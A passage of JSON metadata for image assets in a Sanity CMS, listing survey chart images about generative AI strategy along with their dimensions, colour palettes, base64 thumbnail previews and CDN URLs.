ENN6GDYDI6dnsFjzwxgW2sf9fDhtit46fVxdHwSRNfFFXzWY+jySA42tmJEdz8g8dDhzeLkmTns2DNIPSTAR3YP4sA7UzjRrcJ0aZXCTJdWMHAzB8bzvx4aIZOKfXPVhfZ9IxRG1PrsDzh42IKPz8UokHj5Re8qbt0pwMNXKay5sE1V3qCdMD4ZxntH/8CjT12lXrbtvYFDR5049VWi4V3fcAYT5hJ4pVYfCk1VJgspUsNyqAy/WILDk8XgdR/eOvw72p4bQvv+X3DkuA9dPSnqWe9wBmN3C1jwkDNYwnJonZ7dLQ9j97beEl+Aw5PBj3cEdHab0dFpxbk+FVeuZ3FjrICJuXW4uDK8ywVq7wuu0e4KRfWtkEljk3DFsDEAQrEqPf0Mm8W0NY1ZpkgrygZqCCpkTNXtiW20Cjleo4VtCpkYVBsSI1WEokZ+iOGmjG4yqqrGa1AjZcjhdUiRct2eAnU6vnhZq6tCRdJAwqCgBtQoIM1XWIPMryLAJeHjybTRqAMkZJ0sSNjN+jdgq9/rXkYqUKQ8eD4Dv1igY418Av4BKQBUsEb1kooAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34395f","foreground":"#fff","population":0.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#838ceb","foreground":"#fff","population":9.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a8cd","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#838ceb","foreground":"#fff","population":9.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d669d","foreground":"#fff","population":1.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c34cc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart How do you believe your customers perceive the use of Gen AI in your products and services.png","path":"images/sczeoy4w/production/facdaad31248fa3b78e2e0c4c2f4925cc598afc1-2160x2160.png","sha1hash":"facdaad31248fa3b78e2e0c4c2f4925cc598afc1","size":67879,"uploadId":"H2jNpDSIQyyRU8REiJuXgQzWl9rJeMWo","url":"https://cdn.sanity.io/images/sczeoy4w/production/facdaad31248fa3b78e2e0c4c2f4925cc598afc1-2160x2160.png"} {"_createdAt":"2024-11-15T09:38:42Z","_id":"image-bd09353ef21f4b39b3037e77aa3ba6c430ff24d6-2160x2160-png","_rev":"0nsIYuNmri4WLONet0tDku","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:38:42Z","assetId":"bd09353ef21f4b39b3037e77aa3ba6c430ff24d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNOD-BRk~o%MIXM|odxtRkjZ-.fjD+af%Lt6M{WXtQj[t6WCWCjsWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADXElEQVR4nH2V+0/bdhTF+a/Huq7VCqX0pdFW06RptBuTaAcdm6pCS1tIWiDkAcZJCHHs+BHbsXHePAJJSHyqe01cqEZ/OPladvLxOd/7vTcj5j78otlDRjrATq4Bca+JdL7FEnMNvrfD95r8TMw3kZFakLQ29HIf5j4uyh8puT72im1EYxberhaxHFHxLkrS8GZVYS1HVaysGfiwZmBl3UA0ZiIpViAbXZRcsIzz9QLQ5h+/XVUY+P6jhuUovUBBZMNAXHCRynjYylQgZCvISk1odheW58PyAhi5HKGLonmGXfnoPFIjjJcQ69jYqiIu0r1D7MrHrJxCaqNgdKCXz1ByByBjDKQPw/Gh2WdQSh3IpVMopVNkCyd4E6ljZt7Bsxdl/DnnYGbO4ZU172BhqYJN4YATqhaBvwIW9BN+mFfbSKYPGfTjpIzRMQmjYwV8P17AzXsKJqaKuPeLhulZG5FYDWnpAFTYMDLZJduq1eXqhcC/y7hxV2YQieBPpg0sLDl4v1ZDXDxGXutAs3swnMGXyEF+H6rVuwT8Y85hR9duB8CfHhTx10sbm0IdBb2NktuHXaGi+F+KEgAp9gCy0UFOOWIlxIMg8l0Fo+MF1vjPRcy9crCVafA+kwnLC0BfAYM93Cseh4c6tt3kyDfvK7g2IeOHCRmTTzT8u7QPYZf2rHs1UC8PIGmn3BWpdA2pdBUf41X8Pmvh+qSM78YCh7enVPyz6GI72/o20HB8jpuWWhB2G6z1VB1PX9ihQ9LEYxUL5DA3dIhvA6lPyV0yXcWnRBXTzy3cOC8KVfvhrzpevfOwEwL9/wdqdp8rK+QaSIpVhq4la+yQQNfvyJj6TcfL1y42hRZ3iOH0GWZdBaR22s7WkBA8JHY8dkjAWw8V3HmkYnbBwcZWHXktOC7DHrauqjJFoBEWFzyspxxEYh6e/+diZr6MxQ+0Dcc8XQznLIx6JdDcDzqFWo/2j4CfEhUsrtSwutHggaA7NPuCQxzCzg/1pYNNF3RsguHQ5ehZmSZLG1m5g7zW5YlCsIvD1HIHsModGNYJdFqHrRcc6j6UUu+SVKsftmTQ60GsoUy7C1Opo5CvYE9p8hyg71Jkny7oDUMN59swxnC95LDcg6kfQlGakLQjHhD0F/AZnDmNl2t0jFUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#24294c","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040521","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3bad8","foreground":"#000","population":1.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bad8","foreground":"#000","population":1.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8189e9","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e67a7","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5965ec","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart What is the top business outcome your investments in Data and AI need to drive over the next 3-5 years.png","path":"images/sczeoy4w/production/bd09353ef21f4b39b3037e77aa3ba6c430ff24d6-2160x2160.png","sha1hash":"bd09353ef21f4b39b3037e77aa3ba6c430ff24d6","size":77842,"uploadId":"FrN5FXnKoqYazCWQmJ3un0OMqMSWIhqk","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd09353ef21f4b39b3037e77aa3ba6c430ff24d6-2160x2160.png"} {"_createdAt":"2024-11-15T09:37:25Z","_id":"image-fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda-2160x2160-png","_rev":"0TXqTylVMKaoTR0MBsQoNo","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:37:25Z","assetId":"fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCOW]g~o?t9I_2?ZM{IWt6oM^~4pM|?aIW4pt4.6M}j[%1xtM|M|tQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC8klEQVR4nJ2V+0/TUBTH+aNFjNEIEoNBkRh5SCIQEhQTIhANYpBnJhs4GGODtV3Xx9ptLY+xrXvAOtavOfduCBMN8sM3Pfe253PPPffc0zbDhpcwXUQlB7ux04ZyiIh5RKUCmydFJAd7Ih9HxALCsRzCQgH7cglysoqk5YFYbWQISgU/ghks+TQsrqtYCxgI7h1x+AFX6OAUO/vZxjiLYOQY25EThIU8JO0MeqYOw/bQZtiAqJ1hK3wM31YK6wETgR2LRRhTihCVEkS1AlEtI6aUIFxRXK9AMavQMxfNCDlQNlxE4w7bBkVAT9quoJQR18+QMKqQjXNmSyStgoRxzkDmoceUtPAbqKXrzIkcmJPGn4rpNla/gE7K1C6lpV2oqSq0dI1t9RqQDyjkOpIW5YLnwzxEi+ibC/aeDiK0n0dYcKCYHNoCbHX+UxQN5ZJyGoyUMP3FwuxXG3vi+U0R/htG76PxM3z3HWHJd4LPiyfo7kug57UCX7AEPcO3fWsgpWJ9y8GrEQ39IzrefUjj3hMBD59JWA04/w/UMnUsrOXQ0S3iQbeEgTHjbsCkVWenHdermF85RXuXiPtPxf8HGjY/eUmrYjOUg3/7FLPfju8GNGyP1ZqarmEzVMTYlInRKRMT0xbauwR03A7osbIgUbOIiCXsHhQxv5zFo544Hj+PY3jCRHunyIGjfwEmLQJ6kJMutqMO08aOg49zFqZmLbyfsS8hg+MtwM4G0N8CpAEV58JqlomS/2bUwOC4gam5Q7wY0tA3rGFyxkbvoIaXQzomP9noHdDQ/1aHf6fMgc3CpoGguNjYLsIfKiEYrWB5I4/VQAE/98pY8ZOdxxazC2ye23msBfLM97LbUITUHOg+SnqV3dGE4bIOpKaoIdShpmpMZGvpCz6frkHVy5DVIhST+iHdcQb02AcEuSpagDfNZuPgETRtM1WFIWchCYeIyTnWF5sN1uNlUr8mWqhZTjfJTLswVAeynIOoFKGmXPYL+AUCuZd3nG/l+QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272c4e","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#050929","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#272c4e","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb5b2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c94f1","foreground":"#000","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5861a9","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart How important is the use of data in fueling your AI strategy.png","path":"images/sczeoy4w/production/fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda-2160x2160.png","sha1hash":"fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda","size":57524,"uploadId":"a7VotyOYIPknAfEvZCRQApVyatD8Hch1","url":"https://cdn.sanity.io/images/sczeoy4w/production/fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda-2160x2160.png"} {"_createdAt":"2024-11-15T09:37:38Z","_id":"image-3123745e2d11670ad823287984a17e8a47eee80f-2160x2160-png","_rev":"0nsIYuNmri4WLONet0t379","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:37:38Z","assetId":"3123745e2d11670ad823287984a17e8a47eee80f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDONU-~o_29I?t%JM{WFtQju-%9GWE?aIW4pxY-:M|oet5t7M|M|xt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9UlEQVR4nK2V208TQRTG+adB8UlUNBFJxKTwINEn4hMRDLTl1lZbWmkptPSy3U73vksvXHpje6efObNtRFRE48PXOTk789uZs9+cTuglDCWjj3S+iUS2iqP0JeKpCxxnqkgKVSSylzxPOs5cciWFGhflUmIdTOtAKw5BrAkKsgUbX76a2ApIcO/l4d7NYzsgYfuzBM9eHl4fg9dXgHuPYctfgH9fQyCswx/WEImXIEg21NNr6KUhODDDbD6BYBs7IjZ3Rb7Q42PY2M5hc0fkeYIGD0xEExXEko5SYg2S0YVaHEIrgoBAXu3yo9LEaLLiLDg54yPt4OC4jINEhZciwxoQZRtMbUE2u9CKA74z4uilEVA2BxCVNkSlhbza4mNOtvlRBOmKx06OnlFsg2ltKFbvZyD90LGpBlrxu9TTARctGOcUq4+C3oFkdPiYYVe8/pQn6A2gQzfKd0syekgKDaTEJhKCDW+gwpVmnds7/DOQnh9nW/joKWLNW8Kn7XPMuWTML8kIxZpQTkcf5T5AswxeEl+4juevJbxYkPB2xcLUTA7Tz0TshupQrH8AevxVTM7kMPUkB9d7A5OPBUw//Usgz5eGUKzB/wGq1jXyahs5uQ2375If815AgwOGI413R9eyA3/4HHv751h1V+4P1MvkI8d3emnsuR6C0QbeLKtYWFbx7sMpJmcEPLgLqBUdY8vWAJmCjXSezNpGNFFHOF7j9pieFfFoVsQiQW4BH/7uKwtyD6HDGkKxGiJHTaxvnWHNe4Z18tuigvklBSurJcy5FLxapLiMly7KqwiSD28DRbWPw5SNeLqFhNBGMNZA6LCJ2IkNX6QGf6SOaNKGL1yDP3wjjtSQlahJjK4ewRTrGgWjz7sO03q8dkzrQjL73H+y2eeimOxDzUS1+pBVG0xuQjLa/N6PgEM+gUBMd2AkAozf6lz8H2PD7EJnFxCFMrKsynsib7DUtimgt98Uwcb+/JUMqwddboCxKnJSE7LZ438B3wD8rpNVpP8/AwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3357","foreground":"#fff","population":1.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040829","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e3357","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb5b2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a91ef","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5861a9","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e15b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart How significant is data sovereignty and control in the context of GenAI development and you organization’s strategic goals.png","path":"images/sczeoy4w/production/3123745e2d11670ad823287984a17e8a47eee80f-2160x2160.png","sha1hash":"3123745e2d11670ad823287984a17e8a47eee80f","size":63841,"uploadId":"yvN9qcQKnxu9heG3zkGr2LMRorwbhEHs","url":"https://cdn.sanity.io/images/sczeoy4w/production/3123745e2d11670ad823287984a17e8a47eee80f-2160x2160.png"} {"_createdAt":"2024-11-15T09:37:55Z","_id":"image-1d927e5adbc2203f740c77371537af95d48589c0-2160x2160-png","_rev":"0nsIYuNmri4WLONet0t4st","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:37:55Z","assetId":"1d927e5adbc2203f740c77371537af95d48589c0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIOW]fxt~oWHN2D*xZxtIVt7xsbIIVoJxt-:M|Rn%KRj%KRkM|t6a}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADb0lEQVR4nI2U+0/bZhSG+ce3aVu1rdK2bqs60U4IBLQV64BNk6jaQsIlCYSEkPvNudiOHZuQC0m4JEDyTOczlMAPXX949dmO8/ic877fN2W6jEvmJYlcl8NMh0Tu5EYd4qKsp1i6zUGqRSzdUvfybky93yVfOceoXyOsKcMZkyufsb1nsb5TxR802AyZShsBnQ15FjLwh3TWdyqsb1fwBXR2wjX24y6HmSYZrU/VvsJ0x0yZLhT1AdHkMbsHDuFDl/34EeH4EaEDh2DEYTvssLXn4A/ZbAQsfAGLQMTlMNshV+6jGRdUbVWhB9TrI/UwVz4lU+qTLXmrfDkc7/L3uwYvVxwWlx0W/qqzsGzzctVRzwORNqlCDxnbBHBMyRyQLfVJFXukP6rP5l6H6XmLR0/KfDuh736tMD1v8NbnEE220Ywhxm3LVXtEUb8gXeySyJ+QzJ+QKnTVwH3BNk9nDL56rPGlUpEvHhd59KTE3JKJP+SSzHepWBMzlAo1Y6Cqu+dytoMv2OLZrMnXP5Y+6pufSvz8XGd5zWYvdqxcFsaDloeqTS8iLRWRaKrFh53jB0CN738rM/Pa5MO2q7oo1y4xHO6A0rJUKCbEs20iiWPC8Qbh+DHvtxoK+MPTMr+8qPJs1mD+jc27rQYHKZndBYYzUu3eAMeUa1eq7Ix2quahQpyWELdZDzSZnq/x+5zB6lubzb0mscwZheqAiiXOCoy7CuVCMiS2F6pijMyxq8CJvJjS4vmCxcyrGr7gkfpdd66oHY1vxH2gdzNWZUvb6UJPwcRlWX2hFi8WLeaWamzuNkhrfXTnWoFuZT4EStse0KtQYB6wp2Lzx6LFwhuL7f2GyupnAU13pMItYZbk3wL9oTYzr22W/rHZjTUpVM/V+58EGo4AxZyhMsar0pM/1GHuzzoraw6RRJuSMfx/oOneAQUiR9Nhpq3W9Z0ms0s2K2t1IokWJWPwGUDHc0yOIGk5mmwqSbh9wSavVl3+fe8SVbmbADZunRYP7sVmpPaiJF7yKLNLFnrq1EnkzggdnBJNnpKv3B1TNWdEzR6g186pylr38qgO2Ip1jWZcKhX1IQV9gGZeqj97HxupVbaoFKCqsYaYWotCrkFW66hx3R4OY7mQL0zKM8prw4vV5D3U7EvMag9N65Cv9G92DeP/AMEel0g2Zb8rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262b4e","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04051e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#262b4e","foreground":"#fff","population":1.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ea5cf","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e793a5","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c66a7","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart What are your top three challenges in delivering against your organization’s AI strategy.png","path":"images/sczeoy4w/production/1d927e5adbc2203f740c77371537af95d48589c0-2160x2160.png","sha1hash":"1d927e5adbc2203f740c77371537af95d48589c0","size":87584,"uploadId":"MXiw4oUcUmCeyOcUgMoTIto7raeHzdGk","url":"https://cdn.sanity.io/images/sczeoy4w/production/1d927e5adbc2203f740c77371537af95d48589c0-2160x2160.png"} {"_createdAt":"2024-11-15T09:38:10Z","_id":"image-7a576226cb2d2611f7b29a776201f53a570c9333-2160x2160-png","_rev":"wPAP0KLLUYMrNcRuIFCUKH","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:38:10Z","assetId":"7a576226cb2d2611f7b29a776201f53a570c9333","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNOD-Bfl~oxuIXIVt6xtM|oe%KofD+WB%LxtRkWDtQoLxsWCRkj?fk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADhUlEQVR4nIWV6VPbVhTF+asb0m0AA20DpHQmbZLpTGiTaRrIh7JMKQ0Fwu4NZNmxbFmStXmR5RUM3jA6nXuFIdAk/XD83ljST+fee/w8ZDnwVKsLMdWAkKxCkGqsmFRnCVLdvybVcJSoQEjWIKbqvJLi6QYUsw2z2AexhsyiB0k9x/ahjTfbGjb2DGwOtG9i60rrO1msbSnY2NX52j+7Ot/79sBCJF6BYnZBrCGzCGSMLo4SVQQFB5G4i2i8zGtYdBGOlRESyjg8KuHgyEFQKCEouAgelxCOuYjEyxDZZQ+W42HIcgA934dqdaBaLahWG5rdQcZoIyw28WanjtXNGla3qvjrSqubvjYPqBVNyHoL2dwFlUwOPWh2H7LeRjp7jpR2xmsic47FtTIePNIxMqVibMZX4KGGiVkNkz9k8fSFjY39CsTUCVSrNwACeu4SqtnjNyXkEx7CcfIUC8sljEwp+GwsjeGAr9FpBY+eGZh7ZWNxjUomh21kc30Qi0umjVG45DJpchGxjLBYw/yyg9EpBfcCMobHZdyfkDHzRMefGy6iiQbS2Q4/R70jBjt8H0hvEtMnHJVIvIHXKyUEZjR8PpHBF5MZfPVtBj/NmXh7WOW2UFRyrg+6A/Sg5y8Y+C7TZGAoVsP8UhGj0yqGAzLuj8sYeaDg2Usbu6EKUto5jEIfdsm7C/S4/ozR4ZsS8imXHY7VsLDs8CAI9uU3GXz/1MDKuouYdArN9mNil+44JHc0cgJK6hmEJJVL2ateOVRwbyzNwCfPLWwHq++5w3+B9GEUPL6BshiTGojGK37JKw7HhBx+/Z2Cn3+zsRepI51tcc8/CDSLfg/90nuIp09w/K7KU3615HAGCTg+q+HX13nsR/8HaDm3gQm5iZhU41gsXE15clbDyz8K2AnXIWltHuCgf/aHgHSRRKfOwCHFhnM4rWL6sY6/t8tIqmfXkx3A7I85NIuUwxaH+pAOgeMK5pccjD/U8OOciZ1QjYNvOTelfhJoFPqQlCbD9sJ5Bq6sV/D4lxx+X3QQTTSh2d1bpdou7X3dGoqev4RmX0DOtjmHJEltIZ7uICS2IEgdKNYFV+G3CLCLl7DzHRh2Czqt/BO8zmGfzzM6JP21x99RnAYAvy2+E3aT68JSqpBTLiSlfu2eSvZoQ28YiJwMHr4B3vSJHeZ7sPRTKArFqMkJob+AfwFYQo0VVSgeWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313757","foreground":"#fff","population":1.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b0e32","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#313757","foreground":"#fff","population":1.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab5b2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea93ad","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5863a8","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart What is the top security, compliance, and privacy obligation risk you have identified relating to GenAI.png","path":"images/sczeoy4w/production/7a576226cb2d2611f7b29a776201f53a570c9333-2160x2160.png","sha1hash":"7a576226cb2d2611f7b29a776201f53a570c9333","size":77555,"uploadId":"BbVrD3736kKF8nvZXQ5sEjuuQ1JjaaEd","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a576226cb2d2611f7b29a776201f53a570c9333-2160x2160.png"} {"_createdAt":"2024-11-15T09:38:26Z","_id":"image-8553ddd573b1476ab118378aef89c85247766e40-2160x2160-png","_rev":"wPAP0KLLUYMrNcRuIFCaWP","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:38:26Z","assetId":"8553ddd573b1476ab118378aef89c85247766e40","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHONU-tQ~oogRo--RQRooyRkxoRjD+t7%L4pt5-:Rkxt-.j]ayWBIW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADVklEQVR4nJWV7U8bRxCH80eXlkSqCqVUSZRWatrQqG3aKEWiRU2lEl4DBrskYJcYbCDcnc/34jsf+FwcG4OJscFPNXu2C1EiJR9+3rn13rMzsztz17wSHctvsZurk9mrsrVXVWNGq6kxq9WuKKPJ/6/UOtG2XsdwXuPuXyCsa4WDDnv5U/5OFVmIW8zGTOZiJk/jdleW0sKKxWLCJvbMJbbqsPy8wLONgPTOIZp1ghOc45U6KOBLs0F83Wc2lmNqQWP6qc5cLM/8cp7ZpRzTiwYzi4aCracPSG2FvNj+l93cEWbhFCdo4+53xEMBguE0Se9USG6WWHtxoJTcDEltlUllyiS3QlKZUIUq3hhOg5wrYbbxww5+CMJRQPnJe212csdR7rrKalWVV81qoDtd2Q0M51TJLDRx9yXMCHQF6AQd8l6LnNtUO8uY95rYxZaSgrgSWkt5FSnKmR++Bdh7kAU9SSgy7llNVtYPSaQqGE5LzRfLKFBP3ruAlxdFeblgdeOYuz+5jD30+Cfb6G/2wcBiiLpb84kagyMGn940iSeP+mFfhnrvB+wo4Fy8ysCQzo1Rg/lEhfRujaxexw7a7w/0Sh0KB+fqJQUc1rk+ajD5JOS3vwL+nC2xbTS7+ebtwAgWHYRdbPPSPGEnd8J0rMLHwzqfjOj8MB4wdMfky28sEqk6ZuEMKVspDtEbHsrEuboOWe2UmaWQ6aUyk1NhH3jvF5+PhjRufGEwHTtkdeMVya0aZqHdhXYrRR7EK7nEUoaLq1Vu3rW49a3Nj+OBClkORoADQxrXR3Qe/XHA/UceDyaKbGyfXg1Z6jCrvWYmVlZe/T4VMjCsMdj16ipQZ/BznbGHPoOjBp/dNkkkjxVDeSihSqWsbZ7wYCLg54l9Jp+UuX3P4avvHcYfl7q227fvjLn8+rjEre9svr7vspY+iYCXPdzNnbGydkQ8WSeVaRB7XmNl/YhUtsHymti1rn3Un5e5eLKGZkcH0+82TnCB5bfJuWeYhZZqFjJaRanZC5VfkdjS9+ziOW7QxnYbmPYxli+dJ2oUqh/KAgFEsEiyQbcLX6rx/22/eIZnVjC0kD2ziuWfRQ1W2rYY8vJl9a5B7+K+KT9o4dl1TLOKbh2rriSfgP8Af7KTJoJ2Z1AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4164","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#050829","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#929af3","foreground":"#000","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3acca","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#929af3","foreground":"#000","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5761aa","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e15b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart How important is open source and transparency when selecting which AI technologies you will deploy.png","path":"images/sczeoy4w/production/8553ddd573b1476ab118378aef89c85247766e40-2160x2160.png","sha1hash":"8553ddd573b1476ab118378aef89c85247766e40","size":66793,"uploadId":"YFZn9kj04FS0qhNk2tpvOLsmYH1J9OhS","url":"https://cdn.sanity.io/images/sczeoy4w/production/8553ddd573b1476ab118378aef89c85247766e40-2160x2160.png"} {"_createdAt":"2024-11-27T06:50:59Z","_id":"image-ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c-1200x630-png","_rev":"ZhxRwgWPklJwoe04le4kZP","_type":"sanity.imageAsset","_updatedAt":"2024-11-27T06:50:59Z","assetId":"ba96fbdf0a3b50d5e31c0d9d5480e2601749f14c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBQJZi1UNN=qVrkR9~]_F$NzRi$|o#V_aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcElEQVR4nC2Ta3OaUBRF+f+/ptOm706bpk2NMRFfoCLIywsXBcXI6xJ1dbT9sL6uOXvPPlqYnPBjhR/XBLImTBrEWl2JNoo4/YcrakZWiT6rsLyaVMQor0/rdlHhiFq6lKlEc1cNAyPm4dmhN3AZGAJ9EtIf+/RHHk/DJQ/PNncdix9/XLqDDNOpkPGeSti0Xo/We0JFU+q1j2b7BXedGe8+/uH91y639xN+PUy56xj8vB/x5fsjN586vP3Y5fP3MQMjIZANWd5y2OU00qYN9CtKmGgLv+TXw5y3H+55/7lD52mBudhguVvmy5TJPEI3BM/jmMl8QxRl7LMtRf7CoWgoXvbUiUPrP13RnLDhUQ/59nPCj98mA0PiioZVcvxPSxjVBFFNkhx4EUuK5YCDP6OQIcUmokx8mmCIWnbRXHFkbBU8DjN6o4zh9IBpN8yWirmrsLy